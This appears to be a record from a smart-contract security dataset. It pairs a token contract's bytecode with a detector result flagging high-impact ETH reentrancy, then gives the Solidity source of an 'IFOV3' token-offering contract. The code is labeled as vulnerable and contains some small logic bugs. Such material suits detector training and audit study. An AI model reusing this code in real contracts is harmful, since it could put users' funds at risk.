000a900460ff166118f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e890613161565b60405180910390fd5b5b601754811115611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e906131a1565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119db5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a11906131e1565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ac75760185481611a7c84610dc6565b611a869190613437565b10611ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611abd906132c1565b60405180910390fd5b5b6000611ad230610dc6565b9050600060195482101590506017548210611aed5760175491505b808015611b075750601660159054906101000a900460ff16155b8015611b615750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b77575060168054906101000a900460ff165b15611b9f57611b8582612070565b60004790506000811115611b9d57611b9c47611f07565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c495750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cfc5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cfb5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d0a5760009050611e91565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611db55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611dcd57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e785750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e9057600a54600c81905550600b54600d819055505b5b611e9d8484848461236a565b50505050565b6000838311158290611eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee2919061311f565b60405180910390fd5b5060008385611efa9190613518565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f5760028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f82573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611fd360028461239790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ffe573d6000803e3d6000fd5b5050565b6000600654821115612049576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204090613181565b60405180910390fd5b60006120536123e1565b9050612068818461239790919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120fc5781602001602082028036833780820191505090505b509050308160008151811061213a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121dc57600080fd5b505afa1580156121f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122149190612baa565b8160018151811061224e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122b530601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114e8565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161231995949392919061331c565b600060405180830381600087803b15801561233357600080fd5b505af1158015612347573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806123785761237761240c565b5b61238384848461244f565b806123915761239061261a565b5b50505050565b60006123d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061262e565b905092915050565b60008060006123ee612691565b91509150612405818361239790919063ffffffff16565b9250505090565b6000600c5414801561242057506000600d54145b1561242a5761244d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612461876126f6565b9550955095509550955095506124bf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061255485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125a081612806565b6125aa84836128c3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126079190613301565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266c919061311f565b60405180910390fd5b5060008385612684919061348d565b9050809150509392505050565b60008060006006549050600069152d02c7e14af680000090506126c969152d02c7e14af680000060065461239790919063ffffffff16565b8210156126e95760065469152d02c7e14af68000009350935050506126f2565b81819350935050505b9091565b60008060008060008060008060006127138a600c54600d546128fd565b92509250925060006127236123e1565b905060008060006127368e878787612993565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006127a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ea3565b905092915050565b60008082846127b79190613437565b9050838110156127fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f390613201565b60405180910390fd5b8091505092915050565b60006128106123e1565b905060006128278284612a1c90919063ffffffff16565b905061287b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127a890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6128d88260065461275e90919063ffffffff16565b6006819055506128f3816007546127a890919063ffffffff16565b6007819055505050565b600080600080612929606461291b888a612a1c90919063ffffffff16565b61239790919063ffffffff16565b905060006129536064612945888b612a1c90919063ffffffff16565b61239790919063ffffffff16565b9050600061297c8261296e858c61275e90919063ffffffff16565b61275e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806129ac8589612a1c90919063ffffffff16565b905060006129c38689612a1c90919063ffffffff16565b905060006129da8789612a1c90919063ffffffff16565b90506000612a03826129f5858761275e90919063ffffffff16565b61275e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612a2f5760009050612a91565b60008284612a3d91906134be565b9050828482612a4c919061348d565b14612a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8390613241565b60405180910390fd5b809150505b92915050565b6000612aaa612aa5846133b6565b613391565b90508083825260208201905082856020860282011115612ac957600080fd5b60005b85811015612af95781612adf8882612b03565b845260208401935060208301925050600181019050612acc565b5050509392505050565b600081359050612b1281613adc565b92915050565b600081519050612b2781613adc565b92915050565b600082601f830112612b3e57600080fd5b8135612b4e848260208601612a97565b91505092915050565b600081359050612b6681613af3565b92915050565b600081359050612b7b81613b0a565b92915050565b600060208284031215612b9357600080fd5b6000612ba184828501612b03565b91505092915050565b600060208284031215612bbc57600080fd5b6000612bca84828501612b18565b91505092915050565b60008060408385031215612be657600080fd5b6000612bf485828601612b03565b9250506020612c0585828601612b03565b9150509250929050565b600080600060608486031215612c2457600080fd5b6000612c3286828701612b03565b9350506020612c4386828701612b03565b9250506040612c5486828701612b6c565b9150509250925092565b60008060408385031215612c7157600080fd5b6000612c7f85828601612b03565b9250506020612c9085828601612b57565b9150509250929050565b60008060408385031215612cad57600080fd5b6000612cbb85828601612b03565b9250506020612ccc85828601612b6c565b9150509250929050565b600060208284031215612ce857600080fd5b600082013567ffffffffffffffff811115612d0257600080fd5b612d0e84828501612b2d565b91505092915050565b600060208284031215612d2957600080fd5b6000612d3784828501612b57565b91505092915050565b600060208284031215612d5257600080fd5b6000612d6084828501612b6c565b91505092915050565b60008060008060808587031215612d7f57600080fd5b6000612d8d87828801612b6c565b9450506020612d9e87828801612b6c565b9350506040612daf87828801612b6c565b9250506060612dc087828801612b6c565b91505092959194509250565b6000612dd88383612de4565b60208301905092915050565b612ded8161354c565b82525050565b612dfc8161354c565b82525050565b6000612e0d826133f2565b612e178185613415565b9350612e22836133e2565b8060005b83811015612e53578151612e3a8882612dcc565b9750612e4583613408565b925050600181019050612e26565b5085935050505092915050565b612e698161355e565b82525050565b612e78816135a1565b82525050565b612e87816135c5565b82525050565b6000612e98826133fd565b612ea28185613426565b9350612eb28185602086016135d7565b612ebb81613711565b840191505092915050565b6000612ed3602383613426565b9150612ede82613722565b604082019050919050565b6000612ef6603f83613426565b9150612f0182613771565b604082019050919050565b6000612f19602a83613426565b9150612f24826137c0565b604082019050919050565b6000612f3c601c83613426565b9150612f478261380f565b602082019050919050565b6000612f5f602283613426565b9150612f6a82613838565b604082019050919050565b6000612f82602383613426565b9150612f8d82613887565b604082019050919050565b6000612fa5601b83613426565b9150612fb0826138d6565b602082019050919050565b6000612fc8601783613426565b9150612fd3826138ff565b602082019050919050565b6000612feb602183613426565b9150612ff682613928565b604082019050919050565b600061300e602083613426565b915061301982613977565b602082019050919050565b6000613031602983613426565b915061303c826139a0565b604082019050919050565b6000613054602583613426565b915061305f826139ef565b604082019050919050565b6000613077602383613426565b915061308282613a3e565b604082019050919050565b600061309a602483613426565b91506130a582613a8d565b604082019050919050565b6130b98161358a565b82525050565b6130c881613594565b82525050565b60006020820190506130e36000830184612df3565b92915050565b60006020820190506130fe6000830184612e60565b92915050565b60006020820190506131196000830184612e6f565b92915050565b600060208201905081810360008301526131398184612e8d565b905092915050565b6000602082019050818103600083015261315a81612ec6565b9050919050565b6000602082019050818103600083015261317a81612ee9565b9050919050565b6000602082019050818103600083015261319a81612f0c565b9050919050565b600060208201905081810360008301526131ba81612f2f565b9050919050565b600060208201905081810360008301526131da81612f52565b9050919050565b600060208201905081810360008301526131fa81612f75565b9050919050565b6000602082019050818103600083015261321a81612f98565b9050919050565b6000602082019050818103600083015261323a81612fbb565b9050919050565b6000602082019050818103600083015261325a81612fde565b9050919050565b6000602082019050818103600083015261327a81613001565b9050919050565b6000602082019050818103600083015261329a81613024565b9050919050565b600060208201905081810360008301526132ba81613047565b9050919050565b600060208201905081810360008301526132da8161306a565b9050919050565b600060208201905081810360008301526132fa8161308d565b9050919050565b600060208201905061331660008301846130b0565b92915050565b600060a08201905061333160008301886130b0565b61333e6020830187612e7e565b81810360408301526133508186612e02565b905061335f6060830185612df3565b61336c60808301846130b0565b9695505050505050565b600060208201905061338b60008301846130bf565b92915050565b600061339b6133ac565b90506133a7828261360a565b919050565b6000604051905090565b600067ffffffffffffffff8211156133d1576133d06136e2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006134428261358a565b915061344d8361358a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561348257613481613684565b5b828201905092915050565b60006134988261358a565b91506134a38361358a565b9250826134b3576134b26136b3565b5b828204905092915050565b60006134c98261358a565b91506134d48361358a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561350d5761350c613684565b5b828202905092915050565b60006135238261358a565b915061352e8361358a565b92508282101561354157613540613684565b5b828203905092915050565b60006135578261356a565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ac826135b3565b9050919050565b60006135be8261356a565b9050919050565b60006135d08261358a565b9050919050565b60005b838110156135f55780820151818401526020810190506135da565b83811115613604576000848401525b50505050565b61361382613711565b810181811067ffffffffffffffff82111715613632576136316136e2565b5b80604052505050565b60006136468261358a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561367957613678613684565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613ae58161354c565b8114613af057600080fd5b50565b613afc8161355e565b8114613b0757600080fd5b50565b613b138161358a565b8114613b1e57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122071e82d635b70fe6d413d0ad333cbe7d9e6fa4d5a34f5adf3b006e3b88be9159e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,707 |
0xd7806003635d0b815d935c61986cf67fa346df8a
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Whitelist is Ownable {
// 1 => whitelisted; 0 => NOT whitelisted
mapping (address => uint8) public whitelistedMap;
// true => whitelist is activated; false => whitelist is deactivated
bool public WhitelistStatus;
event WhitelistStatusChanged(bool indexed Status);
constructor() {
WhitelistStatus = true;
}
modifier Whitelisted() {
require(whitelistedMap[msg.sender] == 1 || WhitelistStatus == false, 'You are not whitelisted');
_;}
function whitelistAddress(address[] calldata AddressList)
public
onlyOwner
{
uint j;
for (j = 0; j < AddressList.length; ++j)
{
whitelistedMap[AddressList[j]] = 1;
}
}
function blacklistAddress(address[] calldata AdressList)
public
onlyOwner
{
uint j;
for (j = 0; j < AdressList.length; ++j)
{
whitelistedMap[AdressList[j]] = 2;
}
}
function changeWhitelistStatus()
public
onlyOwner
{
if (WhitelistStatus == true){
WhitelistStatus = false;
emit WhitelistStatusChanged(false);
}else{
WhitelistStatus = true;
emit WhitelistStatusChanged(true);
}
}
}
contract IFOV3 is Whitelist{
using SafeERC20 for IERC20;
// The LP token used
IERC20 public lpToken;
// The offering token
IERC20 public offeringToken;
// Number of pools
uint8 public constant numberPools = 3;
uint public HarvestDelay;
// The block number when IFO starts
uint256 public startBlock;
// The block number when IFO ends
uint256 public endBlock;
PoolCharacteristics[numberPools] private _poolInformation;
mapping(address => mapping(uint8 => uint256)) private amountPool;
struct PoolCharacteristics {
uint256 offeringAmountPool;
uint256 priceA;
uint256 priceB;
uint256 totalAmountPool;
}
event AdminWithdraw(uint256 amountLP, uint256 amountOfferingToken, uint256 amountWei);
event AdminTokenRecovery(address tokenAddress, uint256 amountTokens);
event Deposit(address indexed user, uint256 amount, uint8 indexed pid);
event Harvest(address indexed user, uint256 offeringAmount, uint256 excessAmount, uint8 indexed pid);
event NewStartAndEndBlocks(uint256 startBlock, uint256 endBlock);
event PoolParametersSet(uint256 offeringAmountPool, uint priceA_, uint priceB_, uint8 pid);
modifier TimeLock() {
require(block.number > endBlock + 90000, 'Admin must wait before calling this function');
_;}
constructor(
IERC20 _lpToken,
IERC20 _offeringToken,
uint256 _startBlock,
uint256 _endBlock,
uint _harvestdelay
) {
lpToken = _lpToken;
offeringToken = _offeringToken;
startBlock = _startBlock;
endBlock = _endBlock;
HarvestDelay = _harvestdelay;
}
function depositPool(uint256 _amount, uint8 _pid) external {
require(_pid < numberPools, "Non valid pool id");
require(_poolInformation[_pid].offeringAmountPool > 0, "Pool not set");
require(block.number > startBlock, "Too early");
require(block.number < endBlock, "Too late");
require(_amount > 0, "Amount must be > 0");
if(_pid == 0){
require(
_poolInformation[_pid].offeringAmountPool >= (_poolInformation[_pid].totalAmountPool + (_amount)) * (_poolInformation[_pid].priceA),
'not enough Offering Tokens left in Pool1');
}
lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
amountPool[msg.sender][_pid] += _amount;
_poolInformation[_pid].totalAmountPool += _amount;
emit Deposit(msg.sender, _amount, _pid);
}
function harvestPool(uint8 _pid) external {
require(block.number > endBlock + HarvestDelay, "Too early to harvest");
require(_pid < numberPools, "Non valid pool id");
require(amountPool[msg.sender][_pid] > 0, "Did not participate");
if(whitelistedMap[msg.sender] != 1 && WhitelistStatus == true){
uint amount = amountPool[msg.sender][_pid];
amountPool[msg.sender][_pid] = 0;
lpToken.safeTransfer(address(msg.sender), amount);
emit Harvest(msg.sender, 0, amount, _pid);
}else{
uint256 offeringTokenAmount;
uint256 refundingTokenAmount;
(offeringTokenAmount, refundingTokenAmount) = _calculateOfferingAndRefundingAmountsPool(
msg.sender,
_pid
);
amountPool[msg.sender][_pid] = 0;
if (offeringTokenAmount > 0) {
offeringToken.safeTransfer(address(msg.sender), offeringTokenAmount);
}
if (refundingTokenAmount > 0) {
lpToken.safeTransfer(address(msg.sender), refundingTokenAmount);
}
emit Harvest(msg.sender, offeringTokenAmount, refundingTokenAmount, _pid);
}
}
function finalWithdraw(uint256 _lpAmount, uint256 _offerAmount, uint256 _weiAmount) external onlyOwner TimeLock {
require(_lpAmount <= lpToken.balanceOf(address(this)), "Not enough LP tokens");
require(_offerAmount <= offeringToken.balanceOf(address(this)), "Not enough offering token");
if (_lpAmount > 0) {
lpToken.safeTransfer(address(msg.sender), _lpAmount);
}
if (_offerAmount > 0) {
offeringToken.safeTransfer(address(msg.sender), _offerAmount);
}
if (_weiAmount > 0){
payable(address(msg.sender)).transfer(_weiAmount);
}
emit AdminWithdraw(_lpAmount, _offerAmount, _weiAmount);
}
function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
require(_tokenAddress != address(lpToken), "Cannot be LP token");
require(_tokenAddress != address(offeringToken), "Cannot be offering token");
IERC20(_tokenAddress).safeTransfer(address(msg.sender), _tokenAmount);
emit AdminTokenRecovery(_tokenAddress, _tokenAmount);
}
function setPool(
uint256 _offeringAmountPool,
uint256 _priceA,
uint _priceB,
uint8 _pid
) external onlyOwner TimeLock {
require(_pid < numberPools, "Pool does not exist");
_poolInformation[_pid].offeringAmountPool = _offeringAmountPool;
_poolInformation[_pid].priceA = _priceA;
_poolInformation[_pid].priceB = _priceB;
uint sum = 0;
for (uint j = 0; j < numberPools; j++){
sum += _poolInformation[j].offeringAmountPool;
}
require(sum <= offeringToken.balanceOf(address(this)),
'cant offer more than balance');
emit PoolParametersSet(_offeringAmountPool, _priceA, _priceB, _pid);
}
function updateStartAndEndBlocks(uint256 _startBlock, uint256 _endBlock) external onlyOwner TimeLock {
require(_startBlock < _endBlock, "New startBlock must be lower than new endBlock");
require(block.number < _startBlock, "New startBlock must be higher than current block");
for(uint j = 0; j < numberPools; j++){
_poolInformation[j].totalAmountPool = 0;
}
startBlock = _startBlock;
endBlock = _endBlock;
emit NewStartAndEndBlocks(_startBlock, _endBlock);
}
function viewPoolInformation(uint256 _pid)
external
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
return (
_poolInformation[_pid].offeringAmountPool,
_poolInformation[_pid].priceA,
_poolInformation[_pid].priceB,
_poolInformation[_pid].totalAmountPool
);
}
function viewUserAllocationPools(address _user, uint8[] calldata _pids)
external
view
returns (uint256[] memory)
{
uint256[] memory allocationPools = new uint256[](_pids.length);
for (uint8 i = 0; i < _pids.length; i++) {
allocationPools[i] = _getUserAllocationPool(_user, _pids[i]);
}
return allocationPools;
}
function viewUserAmount(address _user, uint8[] calldata _pids)
external
view
returns (uint256[] memory)
{
uint256[] memory amountPools = new uint256[](_pids.length);
for (uint8 i = 0; i < numberPools; i++) {
amountPools[i] = amountPool[_user][i];
}
return (amountPools);
}
function viewUserOfferingAndRefundingAmountsForPools(address _user, uint8[] calldata _pids)
external
view
returns (uint256[2][] memory)
{
uint256[2][] memory amountPools = new uint256[2][](_pids.length);
for (uint8 i = 0; i < _pids.length; i++) {
uint256 userOfferingAmountPool;
uint256 userRefundingAmountPool;
if (_poolInformation[_pids[i]].offeringAmountPool > 0) {
(
userOfferingAmountPool,
userRefundingAmountPool
) = _calculateOfferingAndRefundingAmountsPool(_user, _pids[i]);
}
amountPools[i] = [userOfferingAmountPool, userRefundingAmountPool];
}
return amountPools;
}
function _calculateOfferingAndRefundingAmountsPool(address _user, uint8 _pid)
internal
view
returns (
uint256,
uint256
)
{
if(amountPool[_user][_pid] == 0){
return(0, 0);
}
uint256 userOfferingAmount;
uint256 userRefundingAmount;
if (_pid == 0){
userOfferingAmount = amountPool[_user][0] * (_poolInformation[0].priceA);
return (userOfferingAmount, 0);
}
uint256 allocation = _getUserAllocationPool(_user, _pid);
if (_pid == 2){
userOfferingAmount = _poolInformation[2].offeringAmountPool * (allocation) / (1e12);
return (userOfferingAmount, 0);
}
if (_poolInformation[1].totalAmountPool * (_poolInformation[1].priceA) > _poolInformation[1].offeringAmountPool){
userOfferingAmount = _poolInformation[1].offeringAmountPool * (allocation) / (1e12);
}else{
userOfferingAmount = amountPool[_user][1] * (_poolInformation[1].priceA);
return(userOfferingAmount, 0);
}
if (_poolInformation[1].totalAmountPool * (_poolInformation[1].priceB) <= _poolInformation[1].offeringAmountPool){
return (userOfferingAmount, 0);
}else{
uint notcompensatedAmount = _poolInformation[1].totalAmountPool - (_poolInformation[1].offeringAmountPool / (_poolInformation[1].priceB));
userRefundingAmount = allocation * (notcompensatedAmount) / (1e12);
return (userOfferingAmount, userRefundingAmount);
}
}
function _getUserAllocationPool(address _user, uint8 _pid) internal view returns (uint256) {
if (_poolInformation[_pid].totalAmountPool > 0) {
return amountPool[_user][_pid] * (1e12) / _poolInformation[_pid].totalAmountPool;
} else {
return 0;
}
}
function SetHarvestDelay(uint _HarvestDelay) external onlyOwner {
require( _HarvestDelay < 90000, 'max delay is 90000 blocks');
HarvestDelay = _HarvestDelay;
}
fallback() external payable{}
}
|
